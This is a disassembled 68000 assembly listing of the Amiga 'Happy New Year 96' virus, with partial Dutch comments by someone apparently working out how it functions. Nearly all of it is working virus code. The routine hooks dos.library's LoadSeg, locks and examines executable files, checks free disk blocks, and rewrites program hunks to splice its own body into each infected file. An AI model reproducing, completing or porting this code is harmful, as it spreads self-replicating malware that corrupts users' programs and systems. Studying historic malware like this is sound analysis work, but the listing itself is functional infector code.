;-BEGIN VIRUS!!!- ; Happy New Year 96 core code ; found in artm, some-demo-i-dont-know ; routines are the core and found in both programs ; not everything has been explaned in dutch.. LAB_0004: MOVEM.L D0-D7/A0-A6,-(A7) ;004C: 48E7FFFE save register op stack MOVEA.L (ABSEXECBASE).W,A6 ;0050: 2C780004 sla execbase adres op in A6 LEA dosname(PC),A1 ;0054: 43FA01EE laad dosname in A1 MOVE #$4E75,-504(A1) ;0058: 337C4E75FE08 patch routine later in programma??? MOVEQ #37,D0 ;005E: 7025 versie 37 van dos lib JSR _LVOOpenLibrary(A6) ;0060: 4EAEFDD8 OpenLibrary (dos,37) MOVE.L D0,D7 ;0064: 2E00 copieer ptr naar dos lib in D7 BEQ.S Exit ;0066: 6742 spring naar Exit wanneer error MOVEQ #0,D1 ;0068: 7200 zet D1 op 0 MOVEQ #16,D0 ;006A: 7010 zet D0 op 16 LSL.L #8,D0 ;006C: E188 shift D0 naar links, 8-bit JSR _LVOAllocVec(A6) ;006E: 4EAEFD54 AllocVec() MOVEA.L D0,A5 ;0072: 2A40 copieer vectorptr in A5 BEQ.S Exit ;0074: 6734 exit wanneer error MOVEA.L A5,A1 ;0076: 224D copieer A5 naar A1 LEA LAB_0004(PC),A0 ;0078: 41FAFFD2 laad ptr naar LAB_0004 in A0 MOVEQ #16,D0 ;007C: 7010 D0=16 LSL.L #8,D0 ;007E: E188 shift D0 naar links, 8-bit JSR _LVOCopyMemQuick(A6) ;0080: 4EAEFD8A CopyMemQuick() JMP 60(A5) ;0084: 4EED003C spring naar A5+60 ?????? activeer vector misschien??? MOVEA.L D7,A0 ;0088: 2047 copieer dos pointer naar A0 LEA LAB_0006(PC),A1 ;008A: 43FA0024 laad LAB_0006 in A1 MOVE.L D7,400(A1) ;008E: 23470190 stop dos pointer in dosopslag MOVE #$48E7,-100(A1) ;0092: 337C48E7FF9C copieer $48E7 naar ??????? begin programma? MOVEA.L -148(A0),A2 ;0098: 2468FF6C copieer deel van LoadSeg()??? naar A2 CMPI #$2F08,(A2) ;009C: 0C522F08 check ???? BEQ.S Exit ;00A0: 6708 bij error exit MOVE.L A2,12(A1) ;00A2: 234A000C copieer data naar ??? in A1 MOVE.L A1,-148(A0) ;00A6: 2149FF6C copieer LAB_0006 in LoadSeg()????? routine Exit: MOVEM.L (A7)+,D0-D7/A0-A6 ;00AA: 4CDF7FFF Zet stack terug RTS ;00AE: 4E75 LAB_0006: MOVE.L A0,-(A7) ;00B0: 2F08 sla A0 in stack op LEA variabel_0(PC),A1 ;00B2: 43FA0188 haal variabele op MOVE.L D1,(A1) ;00B6: 2281 copieer D1 naar variabel_0 MOVEA.L (A7)+,A0 ;00B8: 205F haal A0 van stack JSR EXT_003E ;00BA: 4EB9002300E0 EXT_003E EQU $2300E0 TST.L D0 ;00C0: 4A80 returned ok? BEQ.S Exit_2 ;00C2: 670A nee, einde. (rts) MOVEM.L D0-D7/A0-A6,-(A7) ;00C4: 48E7FFFE registers op stack BSR.S LAB_0008 ;00C8: 6106 branche 2 sub LAB_0008 MOVEM.L (A7)+,D0-D7/A0-A6 ;00CA: 4CDF7FFF registers van stack Exit_2: RTS ;00CE: 4E75 einde routine LAB_0008: MOVEA.L variabel_0(PC),A0 ;00D0: 207A016A copieer adres van variabel_0 naar A0 MOVEA.L A0,A4 ;00D4: 2848 copieer A0 naar A4 MOVEQ #45,D2 ;00D6: 742D copieer 45 in D2 MOVEQ #46,D3 ;00D8: 762E copieer 46 in D3 MOVEQ #108,D4 ;00DA: 786C copieer 108 in D4 ; Routine wacht tot A0, 45 of inhoud van variabel_0 leeg is LAB_0009: TST.B (A0) ;00DC: 4A10 byte test van inhoud eerste byte van A0 BEQ.S LAB_000A ;00DE: 670E eerste byte leeg? spring naar LAB_000A CMP.B (A0),D2 ;00E0: B410 inhoud van variabel_0 = 45? BEQ.S Exit_2 ;00E2: 67EA ja, spring naar Exit_2 CMP.B (A0)+,D3 ;00E4: B618 nee, inhoud van variabel_0 = 46? BNE.S LAB_0009 ;00E6: 66F4 nee, spring naar LAB_0009 CMP.B (A0),D4 ;00E8: B810 ja, inhoud van variabel_0 = 108 ?? BEQ.S Exit_2 ;00EA: 67E2 ja, spring naar Einde BRA.S LAB_0009 ;00EC: 60EE nee, spring naar naar begin LAB_000A: MOVEA.L dosopslag(PC),A6 ;00EE: 2C7A0150 copieer dospointer naar A6 MOVE.L A4,D1 ;00F2: 220C copieer ptr naar variabel_0 in D1 (naam van te locken file) MOVEQ #-2,D2 ;00F4: 74FE D2 = ACCES_READ JSR _LVOLock(A6) ;00F6: 4EAEFFAC maak Lock MOVE.L D0,D7 ;00FA: 2E00 copieer Lock op file ??? naar D7 BEQ.S Exit_2 ;00FC: 67D0 bij error naar Exit_2 LEA LAB_003A_1(PC),A5 ; copieer LAB_003A_1 naar A5 MOVE.L D7,D1 ;0102: 2207 copieer D7 naar D1 (lock naar D1) (param 1) MOVE.L A5,D2 ;0104: 240D copieer adres van infoblock reservering in D2 (param 2) JSR _LVOExamine(A6) ;0106: 4EAEFF9A examine (D1,D2) MOVE.L D7,D1 ;010A: 2207 D7 naar D1 (lock weer naar D1) (param 1) MOVEA.L A5,A3 ;010C: 264D copieer infoblock met data naar A3 ADDA.L #$00000200,A3 ;010E: D7FC00000200 bytesperblock=512?? MOVE.L A3,D2 ;0114: 240B copieer infoblock naar D2 (param 2) JSR _LVOInfo(A6) ;0116: 4EAEFF8E Info (D1,D2) MOVE.L D7,D1 ;011A: 2207 lock weer naar D1 JSR _LVOUnLock(A6) ;011C: 4EAEFFA6 UnLock D1 CMPI #ID_VALIDATED,10(A3) ;0120: 0C6B0052000A check of disk gevalideerd is BNE.S Exit_2 ;0126: 66A6 nee, exit MOVE.L 12(A3),D0 ;0128: 202B000C NumBlocks naar D0 MOVE.L 16(A3),D1 ;012C: 222B0010 NumBlocksUsed naar D1 MOVEQ #4,D2 ;0130: 7404 copieer 4 naar D2 SUB.L D1,D0 ;0132: 9081 NumBlocksUsed-NumBlocks CMP.L D2,D0 ;0134: B082 is D0 kleiner dan D2? BLT.S Exit_2 ;0136: 6D96 ja, exit MOVE.L 124(A5),D5 ;0138: 2A2D007C copieer fib_size (omvang in bytes) naar D5 CMP.L #$00000960,D5 ;013C: BABC00000960 is D5 kleiner dan 2400 BLT.S Exit_2 ;0142: 6D8A ja, exit CMP.L #$0001E460,D5 ;0144: BABC0001E460 is D5 kleiner dan 124000 BGT.S Exit_2 ;014A: 6E82 nee, exit MOVE.L D5,D0 ;014C: 2005 ja, copieer fib_size naar D0 MOVEQ #0,D1 ;014E: 7200 maak D1 leeg MOVEA.L (ABSEXECBASE).W,A6 ;0150: 2C780004 haal execbase adres op JSR _LVOAllocVec(A6) ;0154: 4EAEFD54 allocatevector naar ??? (geen docs over AllocVec() ) MOVE.L D0,D7 ;0158: 2E00 copieer vector naar D7 BEQ Exit_2 ;015A: 6700FF72 error, exit MOVEA.L dosopslag(PC),A6 ;015E: 2C7A00E0 haal doslib pointer op MOVE.L #$000003ED,D2 ;0162: 243C000003ED copieer 1005 naar D2 BSR openfile ;0168: 610000C0 spring naar openfile BEQ Exit_2 ;016C: 6700FF60 error, exit MOVE.L D6,D1 ;0170: 2206 copieer lock naar D1 MOVE.L D7,D2 ;0172: 2407 copieer vector adres naar D2 MOVE.L D5,D3 ;0174: 2605 copieer file size in bytes naar D3 JSR _LVORead(A6) ;0176: 4EAEFFD6 Lees data in vector (D1,D2,D3) BSR closefile ;017A: 610000B8 sluit file MOVEA.L D7,A3 ;017E: 2647 copieer vector adres naar A3 (nu met file data) MOVE.L #$00000087,D4 ;0180: 283C00000087 copieer 135 in D4 LEA 20(A3),A0 ;0186: 41EB0014 Interrupt verticalblank?? MOVE.L (A0),D0 ;018A: 2010 copieer inhoud adres A0 naar D0 ADD.L D4,(A0) ;018C: D990 voeg 135 toe aan verticalblank??? LAB_000B: MOVE.L (A0)+,D1 ;018E: 2218 copieer A0 en tel 1 erbij op. ANDI.L #$00FFFFFF,D1 ;0190: 028100FFFFFF CMP.L #$000003E9,D1 ;0196: B2BC000003E9 BNE.S LAB_000B ;019C: 66F0 ANDI.L #$00FFFFFF,D0 ;019E: 028000FFFFFF CMP.L (A0),D0 ;01A4: B090 BNE.S LAB_0010 ;01A6: 6676 MOVE.L (A0),D1 ;01A8: 2210 ADD.L D4,(A0)+ ;01AA: D998 LSL.L #2,D1 ;01AC: E589 ADDA.L D1,A0 ;01AE: D1C1 MOVE.L A0,D4 ;01B0: 2808 MOVE.L A0,D1 ;01B2: 2208 CMPI.L #$65772059,-14(A0) ;01B4: 0CA865772059FFF2 BEQ.S LAB_0010 ;01BC: 6760 CMPI #$4E75,-(A0) ;01BE: 0C604E75 BNE.S LAB_000C ;01C2: 6606 MOVE #$4E71,(A0) ;01C4: 30BC4E71 BRA.S LAB_000F ;01C8: 601A LAB_000C: MOVEQ #63,D0 ;01CA: 703F LAB_000D: CMPI #$4E75,-(A0) ;01CC: 0C604E75 BEQ.S LAB_000E ;01D0: 6706 SUBQ.L #1,D0 ;01D2: 5380 BNE.S LAB_000D ;01D4: 66F6 BRA.S LAB_0010 ;01D6: 6046 LAB_000E: MOVE #$6000,(A0) ;01D8: 30BC6000 SUB.L A0,D1 ;01DC: 9288 SUBI #$0002,D1 ;01DE: 04410002 ADD D1,(A0) ;01E2: D350 LAB_000F: MOVE.L #$000003EE,D2 ;01E4: 243C000003EE BSR.S openfile ;01EA: 613E BEQ.S LAB_0010 ;01EC: 6730 MOVE.L D6,D1 ;01EE: 2206 MOVE.L D7,D2 ;01F0: 2407 MOVE.L D4,D3 ;01F2: 2604 SUB.L D7,D3 ;01F4: 9687 JSR -48(A6) ;01F6: 4EAEFFD0 MOVE.L D6,D1 ;01FA: 2206 LEA LAB_0004(PC),A0 ;01FC: 41FAFE4E MOVE.L A0,D2 ;0200: 2408 MOVE.L #$0000021C,D3 ;0202: 263C0000021C JSR -48(A6) ;0208: 4EAEFFD0 MOVE.L D6,D1 ;020C: 2206 MOVE.L D4,D2 ;020E: 2404 ADD.L D7,D5 ;0210: DA87 SUB.L D4,D5 ;0212: 9A84 MOVE.L D5,D3 ;0214: 2605 JSR -48(A6) ;0216: 4EAEFFD0 BSR closefile ;021A: 61000018 LAB_0010: MOVEA.L D7,A1 ;021E: 2247 copieer vectoradres naar A1 MOVEA.L (ABSEXECBASE).W,A6 ;0220: 2C780004 execbase adres JSR _LVOFreeVec(A6) ;0224: 4EAEFD4E FreeVec() RTS ;0228: 4E75 Einde routine openfile: MOVE.L A4,D1 ;022A: 220C copieer naam van file naar D1 JSR _LVOOpen(A6) ;022C: 4EAEFFE2 Open file MOVE.L D0,D6 ;0230: 2C00 copieer lock naar D6 RTS ;0232: 4E75 einde subroutine closefile: MOVE.L D6,D1 ;0234: 2206 copieer lock naar D1 JSR _LVOClose(A6) ;0236: 4EAEFFDC Sluit file RTS ;023A: 4E75 einde routine variabel_0: DC.W $0030 ;023C 00 '0' DC.W $639D ;023E 'c' 157 dosopslag: DC.W $0020 ;0240 !!!!!!! ROXR.B #5,D4 ;0242: EA14 ??????? LONG ??? dosname: dc.b 'dos.library',0 dc.b '<> Happy New Year 96! <>' ; -END OF VIRUS!-